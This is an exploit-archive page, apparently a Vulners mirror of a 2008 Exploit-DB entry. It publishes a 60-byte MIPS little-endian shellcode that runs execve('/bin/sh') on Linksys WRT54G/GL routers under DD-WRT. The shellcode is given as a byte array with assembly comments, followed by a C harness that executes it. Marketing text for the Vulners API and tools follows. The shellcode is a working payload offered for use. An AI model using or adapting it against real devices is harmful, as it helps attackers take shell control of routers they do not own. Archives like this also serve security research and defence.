Lucene search
K

linux/mips - Linksys WRT54G/GL execve shellcode 60 bytes

🗓️ 18 Aug 2008 00:00:00Reported by vaicebineType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

linux/mips - Linksys WRT54G/GL 60 bytes shellcod

Code
/*	- MIPS little-endian 
 *	- linux execve 60 bytes shellcode 
 *	- execve("/bin/sh",["/bin/sh"],[]);
 *      - tested on Linksys WRT54G/GL (DD-WRT Linux)
 *      - based on scut paper Writing MIPS/Irix shellcode
 *
 *                              vaicebine at gmail dot com
 */
#include <stdio.h>


char shellcode[] = {
	"\x50\x73\x06\x24" /*     li      a2,0x7350             */
	"\xff\xff\xd0\x04" /* LB: bltzal  a2,LB                 */
	"\x50\x73\x0f\x24" /*     li      $t7,0x7350 (nop)      */
	"\xff\xff\x06\x28" /*     slti    a2, $0,-1             */
	"\xe0\xff\xbd\x27" /*     addiu   sp,sp,-32             */
	"\xd7\xff\x0f\x24" /*     li      t7,-41                */
	"\x27\x78\xe0\x01" /*     nor     t7,t7,zero            */    
	"\x21\x20\xef\x03" /*     addu    a0,ra,t7              */
	"\xe8\xff\xa4\xaf" /*     sw      a0,-24(sp)            */
	"\xec\xff\xa0\xaf" /*     sw      zero,-20(sp)          */
	"\xe8\xff\xa5\x23" /*     addi    a1,sp,-24             */        
	"\xab\x0f\x02\x24" /*     li      v0,4011               */
	"\x0c\x01\x01\x01" /*     syscall                       */
	"/bin/sh" 
};

int main(int argc, char *argv[]) 
{
	void (*p)(void);
	p = shellcode;
	printf("shellcode size %d\n", sizeof(shellcode));
	p();

	return 0;
}

// milw0rm.com [2008-08-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation